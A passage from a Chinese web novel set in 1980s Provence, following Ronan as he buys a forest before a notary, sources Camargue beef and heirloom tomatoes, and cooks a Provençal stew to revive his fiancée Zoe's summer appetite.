罗南开始筹备集市业务时,维埃里已经开始备考,全程都没有参与,于是罗南从头开始讲了一遍他为什么要做这件事、想怎么做这件事、短期目标是怎样、最终想要达成什么样子的目的。 “好了,想要把集市开到普罗旺斯每一片土地的目标你听听就好,不用放到心里,现在的实际情况是连30个工人都凑不齐。”罗南自嘲的摇了摇头,继续对维埃里说,“明天我要去马赛办事,你来负责面试,争取在下周三之前凑齐30个人,面试的要求我就不用给你细讲了吧?你应该知道摊位上需要什么样子的人。” 罗南不想给维埃里太多条条框框,未来这支团队需要维埃里来管理,他应该有一套自己的用人标准。 维埃里看了看通过的名单,又看了罗南曾经面试过的厚厚一沓子A4纸: “很难找到合适的人?” 罗南叹气: “不是很难,是特别难,这个季节不好招人,梅纳村和博尼约的商铺和工厂也在招人,我们抢不过他们。” 维埃里低头想了几秒,突然问: “其实可以找我的同学” 他抬起头,仔细给罗南解释: “我们学校这一届的大学升学率只有32%,有一大半的学生跟我一样,面临着进入社会找工作的难题也许我可以问问他们?还有一个原因是,这些人便宜。” 维埃里是罗南身边对数字最敏感的人,刚刚罗南说他对这个业务的预期是‘只要别赔太多就行’,维埃里马上动起了‘节省成本’的脑子。 1987年,吕贝隆普通居民的月收入在1800法郎-4500法郎这个范围里。 如果在知名村庄从事和旅游有关的工作,薪资有可能会达到7000法郎甚至以上。 卢尔马兰手工艺合作社里的女工,之前按件计费收入普遍在4000法郎-8000法郎区间,如果做的特别好的,例如典型人物约瑟芬,可以拿到5位数。 但在吕贝隆,抛开手工艺者和艺术家等特殊职业不谈,大众向的职业存在很明显的‘工龄’等级。 以服务员为例,新手服务员大概只能拿到2500法郎,但7-8年工龄的老服务员不出到4500法郎找不到。 看到面试通过名单上那一个个动辄7、8年,最多十几年的工作经验,维埃里知道只是给这帮人发工资就是一笔很大的挑费。 但如果把他的同学们找来,这个问题就‘迎刃而解’了,不仅降低了成本,还解决了劳动力短缺的问题。 高中生虽然没有太多工作经验,但贵在是一张白纸,只要用心教,愿意培养,还是有很大成长空间的。 而且维埃里和同学们同窗了三年,甚至有许多人是从小学就做同学,对他们的情况和脾气秉性相对熟悉,即使不是卢尔马兰人,也能解决不知根知底不敢用的难题。 罗南一把抱住维埃里,真想狠狠亲他一口: “维埃里,我就说你是这个岗位最合适的人选,你看,上班第一天就给我解决了这么大的难题!” 如果维埃里说的情况能够落实,别说是凑齐30个人,60不,90个人也不是不行? 而且这也不一定是赔钱的买卖了 维埃里露出了腼腆又激动的笑容: “我一定会让我们的摊位出现在普罗旺斯尽可能多的城镇。” 虽然这批高三学生刚拿到分数,可担心有人截胡,维埃里还是马上投入到了给同学‘介绍’工作的行动当中去。 未来这段时间,他会一边组织第一批员工参加罗南之前确定好的第一批集市,同时尽可能多的召集同学。 维埃里给自己定了目标,争取在姐姐和姐夫的婚礼前把第二批摊位开出去,如果顺利的话,这批摊位的规模能比第一批大几倍。 今天佐伊没有工作,小情侣中午凑到一起做午饭吃。 “维埃里打了一个上午的电话,爸爸在家工作时都不是这样的。”佐伊靠在厨房门口,双手抱胸看着客厅里拿着话筒不肯放的弟弟,“我问他中午吃什么,他说不吃了,早上吃的太多了还没有消化下去。” 罗南一边洗手,一边笑着说: “刚工作的年轻人,还新鲜着呢,过两天就不这样了,那你想吃什么,亲爱的?” 维埃里在家,做饭时会先问问他想吃什么。 既然维埃里不吃,那就是佐伊想吃什么,就做什么。 佐伊把头发抓起来,露出修长白净的脖颈: “我也不太想吃,你中午做一点自己吃吧。” “你也不吃了?”罗南去开冰箱的手停滞在半空,紧张的问,“你不舒服吗?” 佐伊用手扇风: “没有不舒服,就是太热了,没有什么胃口。” 6月除了带来海量来过暑假的游客,还将炎热的高温带到了普罗旺斯。 中午那几个小时,根本没人有勇气走在室外,连游客都不例外,特奥开玩笑的说,卢尔马兰出现了几千只‘水牛’,每天可以消耗数以千瓶的冰镇啤酒和果汁。 罗南打开冰箱,拿出几种水果: “那喝冰镇果汁吧,我帮你做一个解暑的。” 佐伊不太感兴趣的摇头,用求饶的语气央求: “我真的吃不下也喝不下任何东西,你自己喝吧,好吗?” 得知维埃里找到了工作,路易为儿子举行了一次盛大的庆祝活动。 罗南一家、弗雷迪一家子、阿兰一家子、老卡尔一大家子全部出席,除了这几位老面孔,今晚还来了一位新人——维埃里把伊莎贝尔喊来了。 可想而知,今天的气氛有多热闹。 “哈哈,我们的小男孩不止找到了工作,还找到了他的爱情。” “维埃里已经不是小男孩了,他现在是个大人!” “孩子,我太为你骄傲了。” 今晚绝对值得好好庆祝一番,各种方面的。 相应的,今晚的晚餐也是最高规格的,主厨将由罗天海、罗南和莉亚共同担任。 这支放到米其林餐厅都绝对不差的大厨团队.却很快遇到了难题。 “你还是没有什么想吃的吗,亲爱的?”知道佐伊中午没吃饭,大厨们特意提前询问她的意见,想要做点她爱吃的。 可佐伊的胃口没有什么改变,还是不想吃任何东西: “你们去问维埃里和伊莎贝尔吧,今晚他们才是主角,我只是现在不饿,说不定一会看到食物就想吃了,别担心。” 莉亚一边撇嘴一边叹气: “如果真能这样就好了,每年夏天,你都要瘦好几斤。” 说完,她用告状的语气对罗南说: “佐伊的挑食症一到夏天就会到达高峰,这个毛病我治了二十几年都没有治好,现在接力棒到你的手上了。” 怕罗南担心,佐伊笑嘻嘻的过来将他抱住: “就当和罗南一起减肥了。” 虽然拍完了婚纱照,可罗南的减肥还在继续,但是被动的。 每天遛呼呼的两次像是两次长距离越野跑,任凭罗南每天吃多少,上称看都会轻上几两,还好这种每天高强度运动的日子要到头了——山羊赛跑大赛的日子即将在下周来临。 “我们能一样吗?”罗南板着脸说,“我是为了准备比赛,你是纯不想吃,但不吃饭怎么行呢?” 去年这个时候,罗南和佐伊还没有确定关系,不会像现在一样,每天几乎黏在一起,那个时候他还真没发现天气会恶化佐伊的厌食症。 不过仔细想想,佐伊不好好吃饭有些日子了,只是罗南没有特别留意。 佐伊可怜兮兮的眨巴眼睛,似乎是怕罗南‘教训’她: “可我真的不想吃” 佐伊这幅样子,罗南有什么话都咽下去了。 可不吃饭也不行啊。 这可怎么办呢? 第二天是去马赛签森林合同的日子。 一大清早,罗南先是去遛了狗,又牵呼呼去跑了一趟越野,回来洗了个冷水澡,立即开车出发。 他要先去一趟银行,超过50万法郎的交易无法直接签支票,需要去银行取预约的本票,而罗南已经在几天前预约好了。 按照布鲁诺的报价,10公顷森林的价格是50万法郎,可在普罗旺斯交易森林还需要承担一定税费和额外费用。 税费包括土地转让税和林地特别税。 额外费用主要是公证人费、砍伐权保留费、林业认证费和地形测绘费等。 普罗旺斯森林交易税费倾向于买家承担,但也不是全部,例如公证人费、砍伐权保留费和地形测绘费通常由双方协商支付。 这次的卖家出价较低,罗南也就没有纠结于这些事情.答应所有的税费和额外支出都由他来承担。 所以这次,他买下10公顷森林实际要支出的费用在55万法郎左右。 在普罗旺斯,50万法郎是一个交易门槛,50万以下可以直接签支票,清算时效在10个工作日左右。 而超过了50万法郎,必须去银行取本票,以防空头支票风险。 罗南原本以为去马赛银行取本票的路上,他会‘肉疼’的不停唉声叹气,但实际情况并没有那么糟糕,他还有心情欣赏路途的风景。 买完这10公顷的森林,他的存款只剩10万了,可谓是一朝回到了解放前,可他神奇的并没有很焦虑。 首先,斯特斯加的款项是单独计算的,从来没有和罗南的个人财富混淆过,卢尔马兰政府给的投资款还剩下大几十万,万一有需要用钱的急事,也能周转的过来。 不过更加重要的原因是罗南对编织业务有信心。 “有了维埃里的加入,我的时间终于解放出来了,一定要把荆棘烈阳认证的作用发挥到极致。”罗南目视前方,一脸的坚定。 第515章 顶级的食材 那位神秘的卖家并没有出现在普罗旺斯森林局,代表卖家出席交易的是一位代理人。 就像布鲁诺说的那样,只要时间短、钱到位,这位代理人并没有纠结为什么40公顷森林有两位买家,还非常配合的‘提议’现场公证人不要为难他们。 在普罗旺斯,许多交易都必须有公证人在场,即使其中一方是政府都不能例外,这个规矩已经沿袭了500多年。 在某些人口不过百的小村庄,那里连杂货铺都没有,但一定会有一位法律界的代表——公证人。 他们的作用是在立遗嘱、买卖房地产、厘清地权和使用权、签婚姻协议或租地合同时承担合法性的核验官、税务工程师和支付清算中心。 签约前,公证人会仔细研究卖方的原始房产证和历史交易记录,确认卖方确实是合法所有者,且产权清晰无瑕疵。 他们还要向各政府部门发出调查申请,核实土地的面积、边界与地籍图是否一致;查明该片土地是否设有抵押、扣押、诉讼等任何第三方权利负担;根据双方的意向和调查结果起草最终的、具有法律强制执行力的买卖合同。 在交易现场,他们也是绝对的核心人物。 除了严格核对在场所有当事人的身份证明,确保签字人有权进行交易外,还负责朗读合同的核心条款,并进行关键提问以确保各方意愿真实。 合同上除了买卖双方或者代理人的签字,还必须有公证人的公章,否则合同无效。 而买家所提供的银行本票或支票也需交到公证人的手上,公证人会先扣除扣下应缴的税款和公证费,其余的在约定时间内交给卖方。 听起来这是个无比神圣和值得尊重的职业吧? 但在普罗旺斯,许多人宁愿远离高薪也不想从事这位工作,因为公证人真不是谁都能干的. 由于职业特殊性,公证人必须是‘百事通’,他们工作和生活往往在同一个地方,这才能最大限度的了解买卖双方的底细,在小村庄里,公证人的客户几乎全部是他们的邻居。 而公证人乐意也好,不乐意也好又往往会卷入交易纷争之内。 每当因交易产生的不愉快出现,认为自己被骗或者成为弱势的一方就会连同公证人一起指责和辱骂,因为这个交易是在公证人的主持下完成的,所以公证人也是普罗旺斯最‘委屈’的一批人。 往往只有地区范围内最受尊重的老者才敢担任这个职业(被指责时会稍微收敛一点)。 今天的这位公证人来自马赛本地,他既不了解罗南,也不了解卖家,只了解森林局,为了保障交易的公平性和合法性,他对这两方进行了非常严格的‘盘问’。 这个时候别管你是什么牛逼商人,也别管你是什么大艺术家,都得老老实实的交代。 虽然卖家代理人已经不止一次‘抗议’问题太多了、虽然罗南连自己爷爷是干什么的都交代了、虽然已经回答了二十多个‘无关紧要’的问题,可我们的公证人还是尽职尽责的继续问: “请问,你买森林的目的是什么?” 罗南把杯子里的最后一口水喝了: “做人工培育黑松露的实验。” 坦白讲,罗南已经有些失去耐心了。 他在卢尔马兰买农用地的时候也有公证人在场,但那个时候根本没有这么多‘障碍’,在他看来,这些问题和今天的交易根本不相关。 那位公证人老先生快速记录了一下,接着问道: “如果实验成功,松露采集权在谁的手上?” 罗南有些拿不准的反问: “除了我,采集权还能在谁的手上?” 那位公证人不说话,看向代表森林局来签约的代表。 森林局的小伙子在自己的小本子里找了找,主动回答: “我们没有采集权。” 听到这句话,那位公证人对面前的三方说: “未来罗南先生购买的10公顷森林内产生的所有松露采集权在罗南先生的手上,我会把这一点加入到合同内,各位没有异议吧?” 等了三四秒,没人说话,公证人开始在他的本子上快速的记录起来。 罗南表情微妙的靠到沙发靠背上。 看起来无关紧要的盘问,原来都是对交易细节的补充,这根本不是障碍,而是对买卖双方的‘保护’啊。 罗南刚改变了想法,真实的‘障碍’就出现了。 公证人看向卖家代表问: “如果一周后,松露价格暴涨10倍,您会毁约吗?” 这是典型的真实意愿测试,罗南在卢尔马兰买土地时,公证员也曾这样问过老尼莫。 “首先,这个季节没有松露。”卖方代表用‘普罗旺斯’玩笑回复,“其次,恐怕等不到一周后毁约,我的客户三天之内就会花完这笔钱。” 公证人笑着放下了笔,郑重的问几个人: “先生们,请允许我最后问一次,你们的交易是否是出于自由意志,没有任何外部压力?如果是的话,请在上面签字吧。” 罗南签字的时候,特意关注了一下代理人签名栏上方卖家的名字。 那里的落款是亚米·波切特。 罗南确定卢尔马兰没有这样一号人。 “外面的有钱人,继承了卢尔马兰的森林吗?”罗南心中腹诽了一句,继续签名了。 知道罗南今天要来签合同,布鲁诺特地过来见了他一面。 “没给你添什么麻烦吧?”罗南有些不好意思的问。 布鲁诺嘻嘻哈哈的说: “能给我添什么麻烦?我们回收森林是为了整合地块,执行公共林业政策并保护环境,你的实验和我们并不冲突,还能帮我完成一部分任务,又不用花我们的钱.我们支持还来不及呢。” 他将罗南送去停车场: “就是没想到你能买这么大的面积,你小子真是虚晃一枪啊,第一次跟我说2公顷,过了一夜变成10公顷了。” 罗南哭笑不得的摇头: “只能怪那一夜发生的事情太多了。” 布鲁诺也笑着摇了摇头: “加油好好干,有什么事儿一定找我,别客气。” 说完他赶紧补充一句: “借钱的事儿可不行啊,别的都好谈。” 在布鲁诺看来,短短几天之内凑出55万法郎是一件壮举,这几乎是卢尔马兰村民一家人努力几十年才能赚到的钱。 他猜罗南为了拿到这10公顷森林几乎倾其所有,说不定这其中有一部分是从银行贷款来的。 罗南笑着摆了摆手: “谁找你借钱啊,要找也是找桑德琳借,我知道你根本没有钱。” “谁说我没钱?”布鲁诺越说越小声,“我每个月有500法郎零花钱呢!” 罗南哈哈大笑的搂住布鲁诺的肩膀: “开玩笑的,今天下班去我家吃饭,带上桑德琳和孩子们一起,我一会要去买卡马尔格斗牛,让孩子们吃点新鲜的。” 布鲁诺的光头像灯泡一样亮了: “那个一年中只有1000只能用来食用的普罗旺斯最贵牛肉?” 布鲁诺比妻子和孩子们到普罗旺斯时间要长,对这里的了解也更多一些。 普罗旺斯本就不盛产牛肉,牛肉的价格是羊肉的两倍,是猪肉和鸡肉的四五倍,而这种号称普罗旺斯最贵的牛肉一公斤要卖到一二百法郎。 罗南挑了下眉毛: “而且是带红标的牛。” 普罗旺斯红色标签是法国农产品质量认证体系在普罗旺斯地区的顶级地域标识,代表该产品在风味、质量和生态标准上远超行业基准。 布鲁诺顿时觉得自己无比的可笑! 他居然在担心这个要去买有市无价牛肉的家伙的经济情况? 罗南的实力一定比他想象中的还要强! “真是个可怕的家伙。”布鲁诺挥了挥手,“我去给桑德琳打电话,让她中午少吃点,据说卡马尔格斗牛能香掉舌头,我提醒她给晚上留点肚子。” 罗南一直把佐伊不好好吃饭的事情挂在心上。 怎么能不吃饭呢? 人是铁饭是钢,不吃饭人会垮掉的。 为了让唤醒佐伊的食欲,罗南打算给她弄点新鲜的东西尝尝。 昨天他给略伦特先生打电话,通知其下周可以去参加集市的消息,两个人闲聊了几句,略伦特说,他刚刚参加完卡马尔格斗牛节回家,详细描述了这种肉质像牛奶一样细腻的牛肉是多么多么的美味,同时还说可以帮罗南联系红标牛尝尝。 罗南一点都没客气,今天就开车去买牛肉了。 但他不是‘白嫖’的啊,虽然有略伦特先生的关系,但每公斤也要了他500法郎。 罗南一次性订了10公斤,万一佐伊爱吃呢? 这个价格无法和高品质和牛相比,但绝对是普罗旺斯本地牛肉的天花板了,因为普罗旺斯缺乏青草,少有乳牛。 事实证明,上天是疼爱普罗旺斯的,卡马尔格斗牛是法国唯一有法定产区规定的肉类,只能在普罗旺斯饲养。 这种斗牛体形算是小的,公牛身高不超过一米三,重二百九十五公斤到四百五十多公斤。 母牛较矮也较轻,它们在距离马赛不远的罗讷河三角洲沼泽密布的乡间生活,和红鹤与马为邻,由卡马尔格牛仔守卫。 这种牛的出现不是被养来当盘中佳肴的,政府规定每年只有1000只卡马尔格斗牛可以作为食材流通到市场上,它的出现是用来参加一种不流血的斗牛活动,叫‘彩带赛跑’。 ‘彩带赛跑’比赛有两种方式。 一种是牛仔骑着马拿着‘彩带’吸引卡马尔格斗牛,指引其冲过终点线,这个过程和‘山羊赛跑’有着异曲同归之妙,只不过受惩罚的人从羊变成了人,因为牛角又长又锐利,跑的慢的牛仔就危险了。 另外一种比赛方式是从古代沿袭下来的——斗牛的头上绑着一小条红布,即彩带,参赛者争相跑向牛,抢夺牛头上的布条。 不过罗南没有机会看到卡马尔格斗牛曼妙奔跑的身姿,他见到的已经是处理好的牛肉了。 一手交钱,一手交牛。 不知道是不是因为刚刚花出去了55万法郎原因,罗南交出5000法郎时觉得也就那样吧没有什么心疼的。 只要佐伊喜欢,一个月来买一次又怎么了? 不过买完牛,罗南开始思考要用卡马尔格斗牛做什么。 真正的美食家略伦特告诉罗南,卡马尔格斗牛有一种专门的烹饪方法,叫‘牧羊人炖肉’,牛肉混合培根、洋葱、大蒜、香料,以及少许的盐、胡椒和面粉,慢炖3个小时,做出来的炖肉香浓美味,佐白兰地和干红味道极佳,不过颜色偏深,看起来没有吃起来好。 罗南相信略伦特的口味和眼光,这款‘牧羊人炖肉’一定是极其美味的,但他担心颜值太差会影响佐伊的食欲。 她本就不想吃饭了,又端来一锅黑不拉几的牛肉总之有一定风险吧。 ‘牧羊人炖肉’可以做,但也可以再做点别的。 思来想去,罗南决定再做一锅地道的普罗旺斯炖肉,反正都是炖,出错的概率不大,普罗旺斯炖肉里面有西红柿,无论是色泽还是口味都更加诱人,最主要的是佐伊爱吃。 不过,有了这么高级的牛肉,配套的西红柿也不能是普普通通的。 拉着做好了临时冷冻处理的牛肉,罗南又去了一个地方,那里是一个给高档餐厅专供西红柿的农场。 没错,是给高档专供西红柿的农场! 罗南第一次听到这个消息也无比的惊讶。 这事还要回溯到去年,他在筹备开餐厅时,频繁去雅克先生米其林餐厅的那段日子。 有一天,罗南点了一道和西红柿有关的菜肴,跟着那道菜盘子一起来的,还有一张小纸条,上面写着‘西红柿由芙法娜提供’。 罗南好奇极了,问雅克先生它的由来。 雅克告诉罗南,芙法娜是专门从事西红柿培育的从业者,她的西红柿不对一般大众零售,也不做批发,只供应给优质餐厅,而且只在夏季这几个月供应。 他认为芙法娜培育的西红柿质量优良,应该享誉普罗旺厨界,值得让品尝菜肴的食客知道她的存在。 那地方也在马赛附近,罗南打算去见识一下。 他的餐厅应该算是优质餐厅吧? 不知道能不能卖他点优质西红柿尝尝呢? 第516章 爱情之果 去农场的路上,罗南不由得想起了几个从本地人口中听到的和西红柿有关的故事。 普罗旺斯人均故事大王,又爱吹牛,罗南无法确定这些故事的真假,但他可以肯定普罗旺斯人对西红柿的喜爱其他水果和蔬菜可没有这么多编故事的人。 第一个和西红柿有关的故事发生在法国大革命期间。 据说在一七九二年,一批马赛人到巴黎从军,立誓要保卫国家,抵抗外敌奥地利。 众所周知,马赛人参军必须带着他们的军歌《马赛曲》,但除此之外,他们还带了马赛美食——西红柿。 在那个时期,巴黎人对西红柿还很陌生,他们完全不理解为什么每个马赛人的背囊里都装了西红柿,连毛瑟枪的枪杆上都绑着带枝的西红柿。 直到他们看到这些用西红柿当干粮的马赛人在战场上英勇杀敌的样子,西红柿也开始出现在巴黎等北方城市居民的背囊内。 听农夫讲述这段历史时,罗南只是笑而不语。 请问这些西红柿从南方一路颠簸到北方,怎么能保持原来的颜色,而且没烂掉呢? 这个故事中唯一可信的是,在十八世纪末,西红柿在普罗旺斯已是相当普遍的食品了。 第二个和西红柿有关的小故事发生在更早的年代。 十六世纪,西班牙的征服者将西红柿从南美洲带回欧洲。 很长一段时间,普罗旺斯人以为西红柿有催情作用,并称呼其为‘爱情之果’,用以入药或当装饰品,很少直接食用或者用于烹饪。 故事里给的解释是,几乎每一个吃过西红柿的人都说‘不好吃’。 而为什么短短200年后,西红柿又成为了马赛军人的行军干粮了呢? 那是因为普罗旺斯人对西红柿的口味进行了改良,将这种不好吃的‘爱情之果’变成了老少皆宜、一年四季都离不开的普罗旺斯‘特产’。 罗南依然无法确定这个故事的真伪,西红柿到底是不是因为在普罗旺斯得到了口味的改良而变得大众化。 但在马赛不远的一处苍翠起伏的乡野,有一位普罗旺斯本地姑娘,立誓要研究出这世界上品质和口味最好的西红柿。 罗南找到芙法娜的农场并不费力。 到达一个叫利乌的小村庄后,路上的所有本地村民都可以给他指引去农场的路,所以罗南很快见到了芙法娜本人。 这位看起来年纪并不大,但面容比亨利还黢黑的姑娘有着一身让人羡慕的健硕身材,这代表她长期从事户外作业。 而和她的身材相比,更加让人感到热情的是她的性格。 芙法娜并没有因为罗南的突然拜访而多加刁难,得知他的来意,迫不及的的绍起这里的西红柿,而且越说越激情。 她站在一排排又长又宽向着山脚延伸、看不到尽头的西红柿田对罗南说: “你来对地方了,我这里的西红柿是普罗旺斯最好吃的,它一定可以做出一锅让你未婚妻食指大动的普罗旺斯炖肉。” 芙法娜的农场规模比罗南预想中的要大,而且大的多得多,最神奇的是,这里的西红柿不止有一种颜色,红色当然占绝大多数,但在目之所及的地方,他还看到了粉红、绿色、橘色、黑色和白色的. “额,可以给我推荐一下吗?”罗南不好意思的说,“你这里的西红柿种类太多了。” 芙法娜跃跃欲试的走入西红柿田: “事实上,它们都可以炖肉用,我来给你介绍下它们的特色。” 罗南用颜色区分西红柿,而到了芙法娜嘴中它们变成了名字。 什么维纳斯之玉、绿斑马、黑俄罗斯人、白后、丝绒心有的西红柿个头比圆滚滚的樱桃大不了多少,有的则像小甜瓜那么壮硕。 每路过一片新品种,芙法娜便会给罗南摘下来几颗: “我这里的西红柿几乎全部是客户定制的,所以每一个只能给你拿一点。” 罗南拿起芙法娜递来的黑色西红柿,在鼻尖闻了闻,发现有很浓重的紫罗勒味: “不同的客户不同的口味吗?” 芙法娜自信满满的点头: “没错,每一个大厨都有不同的小心思,很幸运,我能够满足他们。” 人在动口前,会用眼睛先吃,因此大厨运用食材的手法,很像画家在使用颜料,这样才能组合出不同的形状和色彩,烹制出好看又好吃的佳肴,而芙法娜这里颜色各异、别具风味的西红柿无疑是大厨们手中的锐利武器。 “任何口味都能定制?”罗南觉得这无比的神奇,似乎打开了一道新世界的大门。 刚刚在闲聊中得知,芙法娜的客户有很大一部分都是当地米其林餐厅。 一个西红柿都能玩出那么多东西,还是这些米其林会玩啊。 “这当然最崇高的愿景。”芙法娜遗憾的摇头,“但实验哪有那么容易成功的?我相信这一点你应该有所体会。” 罗南不理解地看过去,对上了芙法娜的眼睛。 “第一次见面,不代表我不认识你啊罗南。”芙法娜伸出手指点了一下,“那要感谢普罗旺斯铺天盖地的报道信息,我知道你除了是餐厅老板,还有几块‘实验林’。” 看来这位喜欢和西红柿打交道的姑娘还有一个爱好是看F1罗南恍然大悟的看向面前的西红柿田: “所以你这里也是‘实验林’?” 芙法娜开心的继续往前走: “我可是你的前辈,记得替我向费尔南教授问好。” 芙法娜告诉罗南,费尔南教授是一位非常厉害的农业学者,这间农场能走到今天,离不开教授在初期投入的精力。 她还告诉罗南,费尔南教授虽然脾气差了点,但对每一次的实验都很负责,比其他嘴上说的好、实验一不顺利就开始推卸责任的教授好多了。 “费尔南教授的脾气好很多了。”罗南抱着一大筐颜色各异、大小不一的西红柿,不好意思的说,“这也太多了,够我炖10锅牛肉了。” 芙法娜又补了两颗条纹西红柿到筐的最顶端: “回去好好尝尝,期待能接到你的订单,我这里的西红柿除了可以定制口味和颜色,还可以定制大小,跟茄子一样大的,或者和拇指一样小的都可以。” 芙法娜给罗南这么多西红柿当然不是为了他和佐伊之间的感人爱情,她看上了罗南餐厅老板的身份。 今天罗南不只收获到了一筐名贵的西红柿,还收获到了重要的讯息——芙法娜的态度,侧面证明罗南在卢尔马兰的中餐厅已经进入到普罗旺斯优质餐厅的名单里。 他微笑着和芙法娜告别: “我相信,我们一定还有见面机会的。” 罗南开车直接回到卢尔马兰的家里。 没有了集市招工的压力,他终于可以轻松一阵子,有些私人的空间了。 而今天的私人空间,就是准备晚上的聚会。 牛肉是亲自去买的,西红柿是亲自摘的,晚饭也必须是罗南亲自烹饪才行。 之前已经向布鲁诺一家发出过邀请,罗南又打电话通知了巴蒂和卡福,让他们今晚过来聚聚。 这次买的牛肉多,一天吃不完,剩下的可以冻起来,这一两天再把路易和弗雷迪他们叫来吃一次。 罗南不是第一次准备晚饭,可这次多少有一点点压力,尤其是在被他寄予厚望的普罗旺斯炖肉上。 这是罗南第一次做这道普罗旺斯大菜,不过他吃这道菜的次数相当之多。 众所周知,普罗旺斯人的胃口和气候息息相关,圣诞节吃草莓、六月吃雉鸡的事情在这里绝对不可能发生。 这里的人严格遵照季节时令进食,等待芦笋出土、忍耐没有松露的夏季、心心念念冬天的野味,普罗旺斯人认为期待的时间久,食物品尝起来才更加美味,也更加开心。 当然还有一层原因是,普罗旺斯遵循应时而食原则——春夏吃得清淡一点,秋冬则吃得浓厚一些,每个季节都应该有不同的菜单风景。 但就是这种性格的普罗旺斯人,一年四季的餐桌上都可以见到一道菜,那便是普罗旺斯炖肉可想而知这道菜的特殊性和重要性了。 罗南吃过许多个版本的普罗旺斯炖肉,莉亚做的版本香料味极重,吃下一口便想要拿起一整根面包啃。 普罗旺斯炖肉同样是老卡尔妻子的拿手菜,每次去卡尔家聚餐它都不会缺席,老卡尔家的版本中会多放许多土豆,将肉汁炖入土豆中,将它当主食吃。 当然了,还有其他许多许多版本,比如米希尔太太餐厅中将牛肉替换成羊肉的版本,或者雅克先生餐厅里的高档货色. 但今天,罗南打算使用系统给的‘菜谱’中关于普罗旺斯炖肉的菜单制作,他相信,这应该是普罗旺斯炖肉最根本和纯正的样子。 罗南先将牛肉切成五厘米见方的方块,虽然卡马尔格斗牛叫‘斗牛’,但不是那种肌肉结实的状态,下刀时非常顺滑,还没品尝就知道这牛肉有多嫩了。 备好牛肉,下一步是腌制。 罗南加入家里最好的红葡萄酒、橙子皮、胡椒粒、杜松子、一小把磨碎的丁香、一点点肉桂、大蒜、欧芹、百里香和月桂叶,之后用手指温柔的按摩,让它们快速‘结合’到一起。 一边给牛肉做‘马杀鸡’,罗南一边笑着嘟囔: “希望佐伊能多吃两块,也不枉我这么费时费力。” 佐伊现在把所有工作都安排到罗南家后院的工作室里,她最近的工作是参与一个歌迪亚为她精心挑选的艺术活动,同时创作尽可能多的作品。 罗南到家后,第一时间去工作室通知佐伊今晚有聚会,不过因为佐伊正在创作的关键时期,所以罗南拒绝了她来帮忙的提议。 佐伊人虽然在工作室里,但心却在别处,工作的时候心里一直惦记着罗南那里。 “得赶紧把工作室里的厨房弄好了。”佐伊拿着水杯围着工作室转了一圈,觉得这里还是缺很多东西。 前几个月他们的重心在后院和房子上,几乎没有怎么动工作室,一层还好一些,佐伊已经用工具把制陶、烧制玻璃区域和木工坊填满了,可二楼除了一个‘波西米亚’风格的卫生间,还没有其他的东西。 歌迪亚过来找佐伊对活动细节,听到她的嘟囔不满地抗议: “工作时也要看着罗南?” 佐伊双手抱胸,端详着面前空空如也的空间: “我的工作室做好了,但罗南的工作室还没有呢,他也需要一个可以创作甜品的环境。” 罗南每次创作甜品都是在拥挤的餐厅后厨,那环境和这里根本没有办法比。 但这个工作室原本的修建目的是成为小情侣两个人的工作场地。 但目前看来,这里根本没有什么罗南的东西。 歌迪亚马上改了态度,鼓励的说: “你要是这么说的话,是得赶紧把厨房弄好了。” 不要忘记,罗南也是歌迪亚手里的兵啊。 但这个兵太不务正业了! 什么都干,他就是不干和艺术有关的事情。 歌迪亚天真的想着——如果有了一个宽敞明亮的独立大厨房,是不是能激起罗南的创作热情呢? 佐伊和罗南现在的时间都很宝贵,没有机会再拿出大量的时间自己做家具了。 她回头对歌迪亚说: “你帮我找找有没有可以做厨房整体装修设计的团队,最好连里面的烹饪设备一起,我要给罗南配一个最先进的厨房。” 歌迪亚甩了下头发: “交给我,你就放心吧。” 老娘人脉多的是! 佐伊加快了手上的速度,提前结束了工作,回去帮助罗南一起完成后半成。 得知罗南特意去买了卡马尔格斗牛,还去一个专门做西红柿的农场买食材,普罗旺斯炖肉还在火上呢,她就开始嚷嚷着要吃下一整个石磨面包。 “亲爱的,我保证这锅普罗旺斯炖肉一滴汤都不会剩下,我会全部用面包吃干净。”佐伊语气激昂的说。 别管最后吃多少,佐伊这个态度就算罗南没有白费力。 不过佐伊的话提醒了罗南一件事,他们的面包还没准备呢。 以前家里的聚会大部分是中餐,不需要面包,吃法餐时阿兰往往在场,他会带合适的面包过来。 这次聚会的对象是编织的几个伙伴,把买面包的事情忽视了。 “我去买,很快回来。”佐伊亲了一下罗南的脸颊,离开了家里。 过了大约三十分钟,佐伊慌慌张张地跑回来,一进来就找罗南要钥匙: “车钥匙在哪?” “要车钥匙干什么?”罗南在厨房里问,“面包呢?” 佐伊不满地抱怨: “阿兰的面包店只剩下了奶酪面包、蜂蜜面包和一些饼干,杂货铺里的石磨面包也卖没了,我跑了所有有可能能买到的地方全部都没有,要开车去梅纳村买了。” 餐桌上的主菜不同,搭配的面包也不同,其中非常有讲究。 以普罗旺斯炖肉为例,搭配其吃的只能是乡村面包、石磨面包或者黑麦酸包等朴实面包种类,搭配其他口味的面包被视为‘邪教’。 这道理就好像中餐将羊肉泡馍里的馍,换成了豆沙包、麻酱烧饼或者米饭一样不可行。 罗南默默皱起眉头,想起了前一阵子桑德琳的抱怨——在卢尔马兰想买到新鲜出炉的面包太困难了。 第517章 意想之外的问题 罗南拦下了佐伊,没有让她去梅纳村。 晚饭前是游客回程的高峰,卢尔马兰到梅纳村的路一定非常不好走。 今晚的几道主菜都不需要烤制,家里的烤箱空着,罗南决定自己烤面包。 他参加过普罗旺斯面包大赛,做面包很娴熟,劝说佐伊的功夫面粉都倒好了。 为了不耽误吃晚饭,罗南做的是‘中棍’,比法棍短、比法棍细,所需的烤制时间也短一些,在巴蒂、卡福和布鲁诺一家到来前,成功化解了‘面包短缺’危机。 下午4点多,桑德琳带着孩子们敲响了罗南家的门,那之后朋友们陆陆续续达到罗南家里。 最后一个来的巴蒂一进屋便去闻灶头上的两锅炖牛肉: “你把卡马尔格斗牛做了两种不同的吃法?” 巴蒂的口腹欲非常低,欲望点都加在其他属性上。 不过这种名贵的牛肉,他还是很想尝尝。 想要快些品尝到这种普罗旺斯本地赫赫有名的牛肉是什么味道,他把手伸向了‘牧羊人炖肉’那锅的盖子: “快好了吧?我帮你尝尝味道。” 罗南一把打开巴蒂的手: “还没到时间呢,不要碰盖子。” 巴蒂嘟囔了两句,悻悻的离开了烹饪区。 孩子们一来就缠着佐伊玩,桑德琳来顶替了佐伊的帮厨位置,她用开玩笑的语气对巴蒂说: “那可不是普通的炖牛肉,是罗南跑了几百公里给佐伊特意准备的,你弄坏了他的菜,他一定会和你拼命。” 巴蒂斜撑着吧台,酸溜溜的说: 